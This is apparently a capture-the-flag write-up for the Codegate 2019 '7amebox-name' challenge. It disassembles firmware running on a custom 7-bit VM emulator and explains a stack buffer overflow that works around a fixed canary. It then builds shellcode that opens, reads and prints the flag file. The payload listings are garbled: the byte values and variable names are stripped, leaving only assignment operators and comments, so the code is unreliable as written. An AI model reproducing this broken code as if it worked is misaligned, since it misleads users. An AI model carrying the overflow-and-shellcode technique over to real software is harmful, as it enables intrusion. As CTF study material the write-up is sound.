Codegate CTF 2019 Quals - 7amebox-name
Table of Contents
0x00. Introduction
The structure is that when vm_name.py is executed via run.sh, it runs mic_check.firm with the emulator implemented in _7amebox_patched.py.
...
= 0
|=
|= << 14
|= << 7
...
...
=
= >> 14
= >> 7
...
We need to find a vulnerability in the firmware and exploit it in an emulator where one byte is 7 bits and one word is 3 bytes.
0x01. Vulnerability
main:
0x9: 19 30 push bp
0xb: 11 3c mov bp, sp
0xd: 2f 40 3c 00 00 sub sp, 0x3c
0x12: 10 5b mov r5, bp
0x14: 2e 50 03 00 00 sub r5, 0x3
0x19: 12 60 45 04 46 mov r6, 0x12345
0x1e: 08 65 str r6, [r5] ; [r5] = r6
0x20: 12 00 4d 00 01 mov r0, 0xcd ; "name>"
0x25: 7b 50 66 00 00 call pc + 0x66 ; write
0x2a: 12 10 42 00 00 mov r1, 0x42
0x2f: 10 5b mov r5, bp
0x31: 2e 50 3c 00 00 sub r5, 0x3c
0x36: 10 05 mov r0, r5
0x38: 7b 50 23 00 00 call pc + 0x23 ; read
0x3d: 12 00 53 00 01 mov r0, 0xd3
0x42: 7b 50 49 00 00 call pc + 0x49 ; strlen
0x47: 10 5b mov r5, bp
0x49: 2e 50 03 00 00 sub r5, 0x3
0x4e: 00 65 ldr r6, [r5] ; r6 = [r5]
0x50: 5e 60 45 04 46 cmp r6, 0x12345
0x55: 73 50 2b 7f 7f je pc + 0x1fffab ; jne if A == B ; not FLAG_ZF ; stack_chk_fail
0x5a: 11 4b mov sp, bp
0x5c: 1d 30 pop bp
0x5e: 1d 50 pop pc
As the firmware name mic_check suggests, the vulnerability is simple. BOF occurs because 0x42 bytes are read at position bp-0x3c.
However, we need to be careful to write the canary value 0x12345 above the SFP.
0x02. Exploit
Since NX is disabled, I wrote the payload by constructing shellcode on the stack.
= b # xor r0, r0
+= b # inc r0
+= b # mov r1, sp
+= b # sub r1, 0xe
+= b # syscall ; open("flag") ; r0 = 2
+= b # inc r0
+= b # mov r1, 2
+= b # mov r2, 0xf5f00
+= b # mov r3, 40
+= b # syscall ; read(2, buf, 40)
+= b # mov r0, 2
+= b # xor r1, r1
+= b # inc r1
+= b # mov r3, 40
+= b # syscall ; write(1, buf, 40)
+= b
+= b # "flag"
+= # canary
+= # sfp
+= # ret
The buf size was tighter than expected, so I had to care about optimization.
0x03. Payload
= False
=
=
= f
=
=
=
= b # xor r0, r0
+= b # inc r0
+= b # mov r1, sp
+= b # sub r1, 0xe
+= b # syscall ; open("flag") ; r0 = 2
+= b # inc r0
+= b # mov r1, 2
+= b # mov r2, 0xf5f00
+= b # mov r3, 40
+= b # syscall ; read(2, buf, 40)
+= b # mov r0, 2
+= b # xor r1, r1
+= b # inc r1
+= b # mov r3, 40
+= b # syscall ; write(1, buf, 40)
+= b
+= b # "flag"
+= # canary
+= # sfp
+= # ret